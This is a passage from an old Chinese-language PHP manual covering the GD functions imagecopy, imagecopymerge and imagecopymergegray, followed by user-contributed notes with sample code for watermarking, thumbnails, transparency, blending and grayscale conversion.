// imagecolortransparent($insert,imagecolorat($insert,0,0));
// or a specific color (the color I used is magenta, #ff00ff)
imagecolortransparent($insert,imagecolorexact($insert,255,0,255));

$insert_x = imagesx($insert);
$insert_y = imagesy($insert);

// As said above, you can't use imagecopy (bug?)
imagecopymerge($background,$insert,0,0,0,0,$insert_x,$insert_y,100);

// imagejpeg or imagepng doesn't matter here
imagejpeg($background,"",100);
?>
matheus at slacklife dot com dot br
13-Sep-2003 07:24
// Image Resize
function createthumb($IMAGE_SOURCE,$THUMB_X,$THUMB_Y,$OUTPUT_FILE){
  $BACKUP_FILE = $OUTPUT_FILE . "_backup.jpg";
  copy($IMAGE_SOURCE,$BACKUP_FILE);
  $IMAGE_PROPERTIES = GetImageSize($BACKUP_FILE);
  if (!$IMAGE_PROPERTIES[2] == 2) {
   return(0);
  } else {
   $SRC_IMAGE = ImageCreateFromJPEG($BACKUP_FILE);
   $SRC_X = ImageSX($SRC_IMAGE);
   $SRC_Y = ImageSY($SRC_IMAGE);
   if (($THUMB_Y == "0") && ($THUMB_X == "0")) {
     return(0);
   } elseif ($THUMB_Y == "0") {
     $SCALEX = $THUMB_X/($SRC_X-1);
     $THUMB_Y = $SRC_Y*$SCALEX;
   } elseif ($THUMB_X == "0") {
     $SCALEY = $THUMB_Y/($SRC_Y-1);
     $THUMB_X = $SRC_X*$SCALEY;
   }
   $THUMB_X = (int)($THUMB_X);
   $THUMB_Y = (int)($THUMB_Y);
   $DEST_IMAGE = imagecreatetruecolor($THUMB_X, $THUMB_Y);
   unlink($BACKUP_FILE);
   if (!imagecopyresized($DEST_IMAGE, $SRC_IMAGE, 0, 0, 0, 0, $THUMB_X, $THUMB_Y, $SRC_X, $SRC_Y)) {
     imagedestroy($SRC_IMAGE);
     imagedestroy($DEST_IMAGE);
     return(0);
   } else {
     imagedestroy($SRC_IMAGE);
     if (ImageJPEG($DEST_IMAGE,$OUTPUT_FILE)) {
       imagedestroy($DEST_IMAGE);
       return(1);
     }
     imagedestroy($DEST_IMAGE);
   }
   return(0);
  }

} # end createthumb
schdenis at telecom dot by
02-May-2003 06:02
As you probably know 'gif' is a paletted image, that is why if you want to copy one 'gif' onto another 'gif' using ImageCopy you need to create a paletted destination image using (ImageCreate), not ImageCreateTrueColor.
mbostrom at paragee dot com
01-Dec-2002 04:56
If you want to copy a non-rectangular (hence transparent) image onto a background (for example, a pawn onto a chessboard) do the following:

First, create the pawn image pawn.png in your favorite graphics program.  Do NOT make the image transparent, instead, give it a distinct solid background color.  You will flag this color as transpernt inside PHP, otherwise imagecopy will not honor the transparency.

Then:

$board = imagecreatefrompng ("board.png");
$pawn  = imagecreatefrompng ("pawn.png");
imagecolortransparent ($pawn, imagecolorat ($pawn, 0, 0));
imagecopy ($board, $pawn, $x, $y, 0, 0, $pawnWidth, $pawnHeight);
imagedestroy ($pawn);
adam at shallimus dot com
05-Oct-2002 09:47
One way 'round the even/odd image size problem would be to use bcdiv.
robert at scpallas dot com
09-Feb-2002 12:33
If you are getting an error when using ImageCopy(), be sure that both images are of the same type - either True Color or Palette.
GD 1.x can copy images of different types, but with GD 2.0 this will cause an error.

sorry - forgot to fill in my email...
Note that ImageCreateFromJPEG always creates a True Color Image.
You can use ImageCreateTrueColor() instead of Image Create() to solve this problem.
jsnell at networkninja dot com
18-Feb-2001 11:09
Want to make an image tile properly?  This is accomplished by swapping all four quadrants of the image.  Here is some sample code that uses imagecopy to do it:

function backgroundify(&$image)
{
   $ix = imagesx($image);
   $iy = imagesy($image);
   $ixhalf = floor($ix / 2); // DON'T USE ON IMAGES WITH ODD SIZES!
   $iyhalf = floor($iy /2);
   $panel_temp = ImageCreate ($ix, $iy) or die("Cannot Initialize new GD image stream");
   imagecopy($panel_temp, $image, 0,0,0,0,$ix, $iy);
   imagecopy($image, $panel_temp, 0,0,$ixhalf,$iyhalf, $ix-$ixhalf, $iy-$iyhalf); // move bottom right to top left
   imagecopy($image, $panel_temp, $ixhalf,$iyhalf, 0,0,$ix-$ixhalf, $iy-$iyhalf); // top left to bottom right
   imagecopy($image, $panel_temp, $ixhalf, 0,0,$iyhalf,$ix-$ixhalf, $iy-$iyhalf); // bottom left to topo right
   imagecopy($image, $panel_temp, 0,$iyhalf, $ixhalf,0,$ix-$ixhalf, $iy-$iyhalf); // top left to bottom right
}
add a note add a note

后退 | 起点 | 前进
imageconvolution | 上一级 | imagecopymerge


imagecopymerge

(PHP 4 >= 4.0.1, PHP 5)

imagecopymerge -- 拷贝并合并图像的一部分

说明

bool imagecopymerge ( resource dst_im, resource src_im, int dst_x, int dst_y, int src_x, int src_y, int src_w, int src_h, int pct )

将 src_im 图像中坐标从 src_x，src_y 开始，宽度为 src_w，高度为 src_h 的一部分拷贝到 dst_im 图像中坐标为 dst_x 和 dst_y 的位置上。两图像将根据 pct 来决定合并程度，其值范围从 0 到 100。当 pct = 0 时，实际上什么也没做，当为 100 时对于调色板图像本函数和 imagecopy() 完全一样，它对真彩色图像实现了 alpha 透明。

注: 本函数是 PHP 4.0.6 新加的。

add a note add a note User Contributed Notes
yonzie at gmail dot com
06-Jun-2006 09:39
Watermarking for the complete idiot (that would be me, then)

My task: Image gallery, automatic resizing, watermarking, etc.
I was having huge trouble getting transparency right, but it has finally clicked. This is what worked for me:

First, I created a picture in Photoshop with a transparent background.
I then copied my logo (except for the background) onto this new transparent picture.
"Image > Mode > Indexed color" and "File > Save for Web". Ignore all the stuff about dithering, just make sure there's a checkmark in "Transparency" and PNG-8 is selected. Save and upload.

// Set up
$file = "path/to/picture.jpg"; // Picture to resize
$mark = "path/to/watermark.png"; // The watermark to use.
$newfile = "path/to/new/picture.jpg"; // The resized and watermarked picture that we'll end up with. Make sure this directory is writeable.

list( $sourcewidth, $sourceheight ) = getimagesize($file); // Size of source photo for resizing
list( $markwidth, $markheight ) = getimagesize($mark); // Size of source photo for resizing

$width = 800; // Width of picture after resizing
$height = 600; // Height of picture after resizing

// Load pictures
$source = imagecreatefromjpeg( $file ); // Source photo
$watermark = imagecreatefrompng( $mark ); // This is our watermark.

// Resizing
$resized = imagecreatetruecolor( $width, $height ); // Create memory space for resized picture
imagecopyresampled( $resized, $source, 0, 0, 0, 0, $width, $height, $sourcewidth, $sourceheight ); // Resize the source picture with a proper algorithm to avoid jaggies. Use imagezopyresized if you are in a hurry.

// Watermarking
imagecopymerge( $resized, $watermark, 10, $bigheight-$markheight-10, 0, 0, $markwidth, $markheight, 65 ); // Note 65% transparency of the NON-TRANSPARENT parts of the picture. This will put the watermark at the bottom-left corner of the picture, 10px from the edge.

// Saving
imagejpeg( $resized, "$newfile" ) or die ( 'Could not save picture! Please check permissions.' ); // Save file on disk

// Cleaning up
imagedestroy( $watermark ); // Clear memory
imagedestroy( $source ); // Clear memory
imagedestroy( $resized ); // Clear memory
bram at bldesign dot org
08-Apr-2006 03:03
I was trying to write a function to watermark images, but the results weren't great, so I decided to write my own dodge and burn functions.  Dodging brightens the destination image according to the source image, burning darkens.  Dodging with black or burning with white do nothing, so those can basically be used as transparency.

In both cases, the function will copy the entire $src image to $dst at location $dstx, $dsty with intensity $pct.  $src and $dst should be handles to true color images.

function imagecopydodge($dst,$src,$dstx,$dsty,$pct)
{
   $w = imagesx($src);
   $h = imagesy($src);
   $i = 0; $j = 0; $k = 0; $rgb = 0;
   $d = array(); $s = array();

   for ($i=0; $i<$h; $i++) {
       for ($j=0; $j<$w; $j++) {
           $rgb = imagecolorat($dst,$dstx+$j,$dsty+$i);
           $d[0] = ($rgb >> 16) & 0xFF;
           $d[1] = ($rgb >> 8) & 0xFF;
           $d[2] = $rgb & 0xFF;

           $rgb = imagecolorat($src,$j,$i);
           $s[0] = ($rgb >> 16) & 0xFF;
           $s[1] = ($rgb >> 8) & 0xFF;
           $s[2] = $rgb & 0xFF;

           $d[0] += min($s[0],0xFF-$d[0])*$pct/100;
           $d[1] += min($s[1],0xFF-$d[1])*$pct/100;
           $d[2] += min($s[2],0xFF-$d[2])*$pct/100;

           imagesetpixel(
               $dst, $dstx+$j, $dsty+$i,
               imagecolorallocate($dst,$d[0],$d[1],$d[2])
           );
       }
   }
}

function imagecopyburn($dst,$src,$dstx,$dsty,$pct)
{
   $w = imagesx($src);
   $h = imagesy($src);
   $i = 0; $j = 0; $k = 0; $rgb = 0;
   $d = array(); $s = array();

   for ($i=0; $i<$h; $i++) {
       for ($j=0; $j<$w; $j++) {
           $rgb = imagecolorat($dst,$dstx+$j,$dsty+$i);
           $d[0] = ($rgb >> 16) & 0xFF;
           $d[1] = ($rgb >> 8) & 0xFF;
           $d[2] = $rgb & 0xFF;

           $rgb = imagecolorat($src,$j,$i);
           $s[0] = ($rgb >> 16) & 0xFF;
           $s[1] = ($rgb >> 8) & 0xFF;
           $s[2] = $rgb & 0xFF;

           $d[0] -= max($d[0]-$s[0],0)*$pct/100;
           $d[1] -= max($d[1]-$s[1],0)*$pct/100;
           $d[2] -= max($d[2]-$s[2],0)*$pct/100;

           imagesetpixel(
               $dst, $dstx+$j, $dsty+$i,
               imagecolorallocate($dst,$d[0],$d[1],$d[2])
           );
       }
   }
}
jylyn at hotmail dot com
22-Feb-2006 05:49
A few corrections to the code supplied by nick at prient:

$iTemplate should be $iBackground
$iWorking should be $iSource

After fixing those two I found the script really useful, thanks!
nick at prient dot co dot uk
02-Nov-2005 06:15
Task: Rotate a large image, then reduce it in size and place it on a small background (i.e. as an Inset).

Problem: If you resize the image first, the rotation becomes hugely aliased...  So, it makes sense to rotate it first, then shrink it.
Unfortunately, when you resample the image, you lose the background color (at least, some of it may change), so you can no longer set transparancy as you require.  If instead you resize the image (rather than resample), again, the aliasing looks bad.

Solution:  Resize the background - make it bigger.  Then add the original (large) inset, and resize the whole thing back to normal.

<?php
/* We will shrink the inset to 25% */
$resizePercentage = 0.25;

/* Load a source image and a background */
$iSource = ImageCreateFromJpeg($source_file);
$iBackground = ImageCreateFromJpeg($background_file);

/* Do something here, such a rotate, skew etc */
...
/* Assume $iSource is still the image we want to insert onto the background */

/* Set the background color to be transparent */
$cBackground = ImageColorClosest($iSource, 255, 0, 255);
ImageColorTransparent($iSource, $cBackground);

/* Resize the background - make it huge */
$iBackground = ImageResize($iTemplate, ImageSX($iBackground ) / $resizePercentage, ImageSY($iBackground ) / $resizePercentage);
/* Place the image on the background - all full size, so no aliasing issues */
ImageCopyMerge($iBackground , $iSource,
   ((ImageSX($iBackground ) - ImageSX($iSource)) / 2),
   ((ImageSY($iBackground ) - ImageSY($iSource)) / 2) - 25, 0, 0, ImageSX($iWorking), ImageSY($iSource), 100);
/* Shrink the combined image... no issues with transparancy! */
$iBackground = ImageResize($iTemplate, ImageSX($iBackground ) * $resizePercentage, ImageSY($iBackground ) * $resizePercentage);

/* Output the image as a PNG */
header("Content-Type: image/png");
ImagePng($iBackground);
exit();

function ImageResize($pImage, $t_width, $t_height) {
  // Target image
  $iCanvas = @ImageCreateTrueColor($t_width, $t_height);
  // Source dimensions
  $s_width = ImageSX($pImage);
  $s_height = ImageSY($pImage);
  // Copy image
  ImageCopyResampled($iCanvas, $pImage, 0, 0, 0, 0, $t_width, $t_height, $s_width, $s_height);
  // Return image
  return $iCanvas;
}
?>
Ascent [at] WebAQ.com
24-May-2005 05:41
First you need make 0~9 gif format images and background image.

<?php
/*
make random image number check
20050524 by ascent WebAQ.com
*/

$rands = rand(1000,9999);

session_start();
$_SESSION['random_image_number_check'] = $rands;

$bg = './random_image_bg.jpg';
$numimgp = './random_image_number_%d.gif';

$numimg1 = sprintf($numimgp,substr($rands,0,1));
$numimg2 = sprintf($numimgp,substr($rands,1,1));
$numimg3 = sprintf($numimgp,substr($rands,2,1));
$numimg4 = sprintf($numimgp,substr($rands,3,1));
$ys1 = rand(-4,4);
$ys2 = rand(-4,4);
$ys3 = rand(-4,4);
$ys4 = rand(-4,4);

$bgImg = imageCreateFromJPEG($bg);
$nmImg1 = imageCreateFromGIF($numimg1);
$nmImg2 = imageCreateFromGIF($numimg2);
$nmImg3 = imageCreateFromGIF($numimg3);
$nmImg4 = imageCreateFromGIF($numimg4);
imageCopyMerge($bgImg, $nmImg1, 10, $ys1, 0, 0, 20, 30, 50);
imageCopyMerge($bgImg, $nmImg2, 30, $ys2, 0, 0, 20, 30, 50);
imageCopyMerge($bgImg, $nmImg3, 50, $ys3, 0, 0, 20, 30, 50);
imageCopyMerge($bgImg, $nmImg4, 70, $ys4, 0, 0, 20, 30, 50);
header("Content-type: image/jpg");
ImageJPEG($bgImg,"",100);
imagedestroy($bgImg);
imagedestroy($nmImg1);
imagedestroy($nmImg2);
imagedestroy($nmImg3);
imagedestroy($nmImg4);
?>

enjoy!
Steve
24-May-2005 02:03
Building upon backglancer's and stefan's posts below, the following script will lay a 24-bit PNG watermark over any image.

To prepare a 24-bit watermark, I recommend creating a white logo or text over a transparent background in Photoshop.  Save this as a 24-bit PNG via 'Save for the Web...'.  Be sure to set the transparency of the logo layer in Photoshop itself.  30-40% is a good setting.

Once the assets are prepared, throw the full or relative server paths at the watermark function below:

/******************************************************************/

function watermark($sourcefile, $watermarkfile) {

   #
   # $sourcefile = Filename of the picture to be watermarked.
   # $watermarkfile = Filename of the 24-bit PNG watermark file.
   #

   //Get the resource ids of the pictures
   $watermarkfile_id = imagecreatefrompng($watermarkfile);

   imageAlphaBlending($watermarkfile_id, false);
   imageSaveAlpha($watermarkfile_id, true);

   $fileType = strtolower(substr($sourcefile, strlen($sourcefile)-3));

   switch($fileType) {
       case('gif'):
           $sourcefile_id = imagecreatefromgif($sourcefile);
           break;

       case('png'):
           $sourcefile_id = imagecreatefrompng($sourcefile);
           break;

       default:
           $sourcefile_id = imagecreatefromjpeg($sourcefile);
   }

   //Get the sizes of both pix
  $sourcefile_width=imageSX($sourcefile_id);
  $sourcefile_height=imageSY($sourcefile_id);
  $watermarkfile_width=imageSX($watermarkfile_id);
  $watermarkfile_height=imageSY($watermarkfile_id);

   $dest_x = ( $sourcefile_width / 2 ) - ( $watermarkfile_width / 2 );
   $dest_y = ( $sourcefile_height / 2 ) - ( $watermarkfile_height / 2 );

   // if a gif, we have to upsample it to a truecolor image
   if($fileType == 'gif') {
       // create an empty truecolor container
       $tempimage = imagecreatetruecolor($sourcefile_width,
                                                                           $sourcefile_height);

       // copy the 8-bit gif into the truecolor image
       imagecopy($tempimage, $sourcefile_id, 0, 0, 0, 0,
                           $sourcefile_width, $sourcefile_height);

       // copy the source_id int
       $sourcefile_id = $tempimage;
   }

   imagecopy($sourcefile_id, $watermarkfile_id, $dest_x, $dest_y, 0, 0,
                       $watermarkfile_width, $watermarkfile_height);

   //Create a jpeg out of the modified picture
   switch($fileType) {

       // remember we don't need gif any more, so we use only png or jpeg.
       // See the upsaple code immediately above to see how we handle gifs
       case('png'):
           header("Content-type: image/png");
           imagepng ($sourcefile_id);
           break;

       default:
           header("Content-type: image/jpg");
           imagejpeg ($sourcefile_id);
   }

   imagedestroy($sourcefile_id);
   imagedestroy($watermarkfile_id);

}
backglancer in the hotmail
17-May-2005 05:44
I was about to kill myself....
any one of you trying to merge a SEMI transparent png...
use imagecopy  :)
<?
$flag = imagecreatefrompng('flags/images/flagWhiteFill.png');
$mask = imagecreatefrompng('flags/images/flag_transparent.png');

imagealphablending($flag, 1);
imagealphablending($mask, 1);

imagecopy($flag, $mask, 0,0,0,0,25,43);

Header("Content-type: image/jpeg");
imagepng($flag);
?>

ImageSaveAlpha(resource, bool);  made the transparent color - not transparent... dunno why :)
barbarina_sv at libero dot it
17-May-2005 04:55
I needed to draw a "pointer" image over a map, but had some problems with png image transparency.
So I created a png image with white background (not transparent) and merged it on my map, after defining white color as transparent:

<?php

$src_file = 'source.jpg';
list($src_w, $src_h, $src_t, $src_a) = getimagesize($src_file);

$ptr_file = 'pointer.png'; // must have no transparency, but white background
list($ptr_w, $ptr_h, $ptr_t, $ptr_a) = getimagesize($ptr_file);

// destination image dimensions:
$dst_w = 400;
$dst_h = 200;

// pointer position:
$ptr_x = 195;
$ptr_y = 70;

$srcImage = imageCreateFromJpeg($src_file) or die ('failed imageCreateFromJpg');
$dstImage = imageCreateTrueColor($dst_w, $dst_h) or die ('failed imageCreateTrueColor');

imageCopyResampled($dstImage, $srcImage, 0, 0, 0, 0, $dst_w, $dst_h, $src_w, $src_h) or die ('failed imageCopyResampled');

$ptrImage = imageCreateFromPng($ptr_file) or die ('failed imageCreateFromPng');

$ptr_white = imageColorAllocate($ptrImage,255,255,255);
imageColorTransparent($ptrImage,$ptr_white);

imageCopyMerge($dstImage, $ptrImage, $ptr_x, $ptr_y, 0, 0, $ptr_w, $ptr_h, 100) or die ('failed imageCopyMerge');

imageJpeg($dstImage,'',100) or die ('failed imageJpeg');

imageDestroy($srcImage) or die ('failed imageDestroy(1)');
imageDestroy($dstImage) or die ('failed imageDestroy(2)');
imageDestroy($ptrImage) or die ('failed imageDestroy(3)');

?>
ingrid
05-Apr-2005 05:16
I found on the internet about a thousand copies of this "imageCopyMerge" script of Stefan.

Most of them had a  copyright notice of the copyist added, but none of them had added what a starting user of PHP scripting really needs: The lines to be used in a HTML page, where the result of the script will be visible:

<?php
$sourcefile = "ORIGFILE.jpg";
$insertfile = "watermark.jpg";
$targetfile = "foto.jpg";
$transition = 30;
$pos=7;
require("watermark.php");
mergePix($sourcefile, $insertfile, $targetfile, $pos, $transition);
echo "<img src=\"$targetfile\">";
?>

I was so lucky to get these lines from someone on the internet, after I posted my question all over the world.
Most other people that replied, referred to the bookstore. But I had first read halve the (this) PHP manual, and had not found it.

Just a suggestion, but I know it will help many people getting started with PHP: When you put your scripts here, why not add those few lines needed to incorporate it into a HTML page?
jtacon at php dot net
14-Dec-2004 09:36
This example shows how to use imageCopyMerge to create a water mark function with four random positions (the corners).

<?php
function waterMark($fileInHD, $wmFile, $transparency = 50, $jpegQuality = 90, $margin = 5) {

 $wmImg  = imageCreateFromGIF($wmFile);
 $jpegImg = imageCreateFromJPEG($fileInHD);

 // Water mark random position
 $wmX = (bool)rand(0,1) ? $margin : (imageSX($jpegImg) - imageSX($wmImg)) - $margin;
 $wmY = (bool)rand(0,1) ? $margin : (imageSY($jpegImg) - imageSY($wmImg)) - $margin;

 // Water mark process
 imageCopyMerge($jpegImg, $wmImg, $wmX, $wmY, 0, 0, imageSX($wmImg), imageSY($wmImg), $transparency);

 // Overwriting image
 ImageJPEG($jpegImg, $fileInHD, $jpegQuality);
}

waterMark('myImage.jpg','waterMark.gif');

?>

HTH.

Javier Tac
claudio dot gaetani at gdldesign dot it
10-May-2004 02:04
This function is intended to serve as an example for the "imageCopyMerge"-"ImageCopyResized", "ImageColorTransparent" functions.
I hope it will help.
This function pick an image, square cut it resampled at the size requested and finishing merge the result with another one to obtain a circular image result. I have a problem to obtain an thumbnail that respect the colors and at the same time where cutted in a circular form, I hope this solution can gives you a clue to obtain a free form images, I use this one also to create multicutted images.

<?php
$generalsrc="$image"; //the image to resample, resize and iconaize
$final_thumbwidth ="125";
$final_thumbheight ="125";

$abc = imagecreatefromjpeg("$generalsrc");
$def = imagecreatetruecolor($final_thumbwidth, $final_thumbheight);
$src_mx = round((imagesx($abc) / 2)-"0.1"); // middle x point of the image
$src_my = round((imagesy($abc) / 2)-"0.1"); // middle y point of the image
$src_x = ($src_mx * 2);
$src_y = ($src_my * 2);
$src_sq = ($src_x >= $src_y)?$src_y:$src_x; //used to define the best size for a square cut of the image
$pl = ($src_x >= $src_y)?"1":"2"; //define if the image is portait or landscape
$strt_pntx = ($pl=="1")?round(($src_my / 2)-"0. 1"):"0";  //defines the x start point
$strt_pnty = ($pl=="2")?round(($src_mx / 2)-"0. 1"):"0";  //defines the y start point

imagecopyresized($def, $abc, 0, 0, $strt_pntx, $strt_pnty, $final_thumbwidth, $final_thumbheight, $src_sq, $src_sq);

$overlay_img = imagecreatefromPNG("circle_125.png"); //NOTE use png for this
$src_w = "ImageSX($overlay_img)";
$src_h  = "ImageSY($overlay_img)";

$can_img = imagecreatetruecolor($src_w, $src_h);

$black = ImageColorAllocate ($overlay_img, 0, 0, 0);

ImageColorTransparent($overlay_img , $black);

imagecopy($can_img, $def, 0,0,0,0, $src_w, $src_h);
imagecopymerge($can_img, $overlay_img , 0,0,0,0, ImageSX($overlay_img), ImageSY($overlay_img),100); //Imagecopy won't work, you must used imagecopymerge

ImageJPEG($can_img,"merge_$generalsrc",100);

imagedestroy($overlay_img);
imagedestroy($can_img);
ImageDestroy($abc);
ImageDestroy($def);

print "<HTML><HEAD><TITLE>test</TITLE></HEAD><BODY>
original:<hr><img src=\"$generalsrc\" width=\"300\"><br><br><br>new:<hr><img src=\"merge_$generalsrc\">
<br>width = $src_x
<br>height = $src_y
<br>mdlw = $src_mx
<br>mdlh = $src_my
<br>sqr = $src_sq
<br>pl = $pl
<br>start point x = $strt_pntx
<br>start point y = $strt_pnty
</BODY></HTML>";
?>
bjorn AT smokingmedia DOT com
27-May-2003 02:10
in addition to stefan's posting:

i found that if you use imagecopymerge with png-24 files with an alpha channel, it doesn't work use imagecopy instead.
it seems that imagecopymerge doesn't respect the alpha channel the way it should (a bug??).

some sample code here to place an image (image.png) on a backgroundcolor or backgroundimage.

<?php

$im = "image.png";
$bg = "ffddee";    // hex representation of the color (i.e. #ffffff for white)
$out = "png";      // or "jpg" for jpg file output
// $backgroundfile = "";  // optional backgroundfile if you don't want to use a color

//
// function to convert hex colorcode to decimal
//

function colordecode($hex){

   $code[r] = hexdec(substr($hex, 0 ,2));
   $code[g] = hexdec(substr($hex, 2 ,2));
   $code[b] = hexdec(substr($hex, 4 ,2));

   return $code;

} // end func colordecode

// create the resource id
$image_id = imageCreateFromPNG($im);

// get image size
$im_X = ImageSX($image_id);
$im_Y = ImageSY($image_id);

// create a truecolor background image of the right size
// or use a background image like this
// $backgroundimage = imageCreateFromPNG($backgroundfile);
$backgroundimage = imagecreatetruecolor($im_X, $im_Y);

// get the desired backgroundcolor:
// don't use this if you want to use a background image
$code = colordecode($bg);
$backgroundcolor = ImageColorAllocate($backgroundimage, $code[r], $code[g], $code[b]);
ImageFilledRectangle($backgroundimage, 0, 0, $im_X, $im_Y, $backgroundcolor);

// merge the two together with alphablending on!
ImageAlphaBlending($backgroundimage, true);
imagecopy($backgroundimage, $image_id, 0, 0, 0, 0, $im_X, $im_Y);

// output the image:
if($output == "jpg"){
   Header( "Content-type: image/jpeg");
   ImageJPEG($backgroundimage);
   }
   else{
       Header( "Content-type: image/png");
       ImagePNG($backgroundimage);
       }

// destroy the memory
ImageDestroy($backgroundimage);
ImageDestroy($image_id);
?>
feisty at feistyenterprises dot com
07-Nov-2002 04:15
Yep, that worked a charm.

Since imageCopyMergeGray() is identical, it works just as well for that.

If you want to convert an image to greyscale, use imageCopyMergeGray() with the same image as source and destination, set the pict to 0, et voila!
jonny at sanriowasteland dot net
29-Sep-2002 08:36
If you need to merge 2 png's (or  presumably 2 gifs) with different color palettes, I have found this is the function to use.  Just set pct to 99, and you are rocking.  With pct set to 100, or imagecopy for that matter, the palette seems to go wonky.  (It probably just uses the palette of the source image. but don't quote me on that).
stefan dot wehowsky at profilschmiede dot de
27-Jul-2001 12:32
This function is intended to serve as an example for the "imageCopyMerge"-function.
I hope it will help some of the less experienced php-coders here.
I wrote it to mark objects of a real estate broker as "sold" by copying the "sold"-picture right into the picture of the house.

<?php

//$sourcefile = Filename of the picture into that $insertfile will be inserted.
//$insertfile = Filename of the picture that is to be inserted into $sourcefile.
//$targetfile = Filename of the modified picture.
//$transition = Intensity of the transition (in percent)
//$pos          = Position where $insertfile will be inserted in $sourcefile
//                0 = middle
//                1 = top left
//                2 = top right
//                3 = bottom right
//                4 = bottom left
//                5 = top middle
//                6 = middle right
//                7 = bottom middle
//                8 = middle left
//
//
function mergePix($sourcefile,$insertfile, $targetfile, $pos=0,$transition=50)
{

//Get the resource ids of the pictures
   $insertfile_id = imageCreateFromJPEG($insertfile);
   $sourcefile_id = imageCreateFromJPEG($sourcefile);

//Get the sizes of both pix
   $sourcefile_width=imageSX($sourcefile_id);
   $sourcefile_height=imageSY($sourcefile_id);
   $insertfile_width=imageSX($insertfile_id);
   $insertfile_height=imageSY($insertfile_id);

//middle
   if( $pos == 0 )
   {
       $dest_x = ( $sourcefile_width / 2 ) - ( $insertfile_width / 2 );
       $dest_y = ( $sourcefile_height / 2 ) - ( $insertfile_height / 2 );
   }

//top left
   if( $pos == 1 )
   {
       $dest_x = 0;
       $dest_y = 0;
   }

//top right
   if( $pos == 2 )
   {
       $dest_x = $sourcefile_width - $insertfile_width;
       $dest_y = 0;
   }

//bottom right
   if( $pos == 3 )
   {
       $dest_x = $sourcefile_width - $insertfile_width;
       $dest_y = $sourcefile_height - $insertfile_height;
   }

//bottom left
   if( $pos == 4 )
   {
       $dest_x = 0;
       $dest_y = $sourcefile_height - $insertfile_height;
   }

//top middle
   if( $pos == 5 )
   {
       $dest_x = ( ( $sourcefile_width - $insertfile_width ) / 2 );
       $dest_y = 0;
   }

//middle right
   if( $pos == 6 )
   {
       $dest_x = $sourcefile_width - $insertfile_width;
       $dest_y = ( $sourcefile_height / 2 ) - ( $insertfile_height / 2 );
   }

//bottom middle
   if( $pos == 7 )
   {
       $dest_x = ( ( $sourcefile_width - $insertfile_width ) / 2 );
       $dest_y = $sourcefile_height - $insertfile_height;
   }

//middle left
   if( $pos == 8 )
   {
       $dest_x = 0;
       $dest_y = ( $sourcefile_height / 2 ) - ( $insertfile_height / 2 );
   }

//The main thing : merge the two pix
   imageCopyMerge($sourcefile_id, $insertfile_id,$dest_x,$dest_y,0,0,$insertfile_width,$insertfile_height,$transition);

//Create a jpeg out of the modified picture
   imagejpeg ($sourcefile_id,"$targetfile");

}
add a note add a note

后退 | 起点 | 前进
imagecopy | 上一级 | imagecopymergegray


imagecopymergegray

(PHP 4 >= 4.0.6, PHP 5)

imagecopymergegray -- 用灰度拷贝并合并图像的一部分

说明

bool imagecopymergegray ( resource dst_im, resource src_im, int dst_x, int dst_y, int src_x, int src_y, int src_w, int src_h, int pct )

将 src_im 图像中坐标从 src_x，src_y 开始，宽度为 src_w，高度为 src_h 的一部分拷贝到 dst_im 图像中坐标为 dst_x 和 dst_y 的位置上。两图像将根据 pct 来决定合并程度，其值范围从 0 到 100。当 pct = 0 时，实际上什么也没做，当为 100 时本函数和 imagecopy() 完全一样。

本函数和 imagecopymerge() 完全一样只除了合并时通过在拷贝操作前将目标像素转换为灰度级来保留了原色度。

注: 本函数添加于 PHP 4.0.6。

add a note add a note User Contributed Notes
Mark Barba
16-Aug-2005 03:31
//  Using the same code I found here on php.net,
// I was able to figure out how to convert GIF (or any other
// format GD supports) to CIP format.  CIP is the image
// format for Cisco IP Phones...  7905/7940 and 7960
// models...  Hope someone finds this useful and make it
// better...

/////// GIF2CIP PHP code ///////

// Convert image in memory to grayscale
   $img_width  = imageSX($im2);
   $img_height = imageSY($im2);

   // convert to grayscale
   // note: this will NOT affect your original image, unless
   // originalFileName and destinationFileName are the same
   for ($y = 0; $y <$img_height; $y++) {
       for ($x = 0; $x <$img_width; $x++) {
           $rgb = imagecolorat($im2, $x, $y);
           $red  = ($rgb >> 16) & 0xFF;
           $green = ($rgb >> 8)  & 0xFF;
           $blue  = $rgb & 0xFF;

           $gray = round(.299*$red + .587*$green + .114*$blue);

           // shift gray level to the left
           $grayR = $gray << 16;  // R: red
           $grayG = $gray << 8;    // G: green
           $grayB = $gray;        // B: blue

           // OR operation to compute gray value
           $grayColor = $grayR | $grayG | $grayB;

           // set the pixel color
           imagesetpixel ($im2, $x, $y, $grayColor);
           imagecolorallocate ($im2, $gray, $gray, $gray);
       }
   }
/////////////////////////////////////////////////////////

   // Modifies palette to only 4-colors (CIP Images on 7905/7940 & 7960 is 2-bit color)
   ImageTrueColorToPalette2($im2,FALSE,4);

   // Basic header for CIP Image files...
   header ("Content-type: text/xml");
   echo "<CiscoIPPhoneImage> ";
   echo "<LocationX>-1</LocationX> ";
   echo "<LocationY>-1</LocationY> ";
   echo "<Width>132</Width> ";
   echo "<Height>65</Height> ";
   echo "<Depth>2</Depth> ";
   echo "<Data>";

// get image dimensions (almost same code as above)
   $img_width  = imageSX($im2);
   $img_height = imageSY($im2);

   // convert to grayscale
   // note: this will NOT affect your original image, unless
   // originalFileName and destinationFileName are the same
   for ($y = 0; $y <$img_height; $y++) {
       for ($x = 0; $x+4 <$img_width; $x = $x+4)
       {
           for ($ix = 0; $ix < 4; $ix++)
           {
               $rgb = imagecolorat($im2, $x + $ix, $y);

               // I came up with this translation on my own
               // Some smart person is bound to perfect it
               if ($rgb=="2") {$rgb=0;$Gray1[$ix] = $rgb;continue;}
               if ($rgb=="0") {$rgb=2;$Gray1[$ix] = $rgb;continue;}
               if ($rgb=="1") {$rgb=1;$Gray1[$ix] = $rgb;continue;}
               if ($rgb=="3") {$rgb=3;$Gray1[$ix] = $rgb;continue;}
           }
               $gray1 = $Gray1[0];
               $gray2 = $Gray1[1] << 2;
               $gray3 = $Gray1[2] << 4;
               $gray4 = $Gray1[3] << 6;

               // Pack 4 pixels into a single byte for CIP images
               $grey = $gray1 | $gray2 | $gray3 | $gray4;

               // CIP image data is sent in HEX, strtoupper is not really needed.
               $code = strtoupper(dechex($grey));

               // My quick fix to padding single HEX values
               if (strlen($code)==1) $code = "0".$code;
               echo $code;

       }

   }
   echo "</Data>";
   echo "<Title>$myvar</Title> ";
   echo "<Prompt>$city</Prompt> ";
   echo "</CiscoIPPhoneImage>";
   exit;
switch251 at netcourrier dot com
15-Apr-2004 10:18
In addition to code_couturier too: his code will produce blue pictures, because the value he uses to set the pixel color (the code is incomplete: I first thought it should be $gray) is between 0 and 255, which corresponds to blue levels.

To convert the picture to grayscale, use the following code:

<?php
   // replace with your files
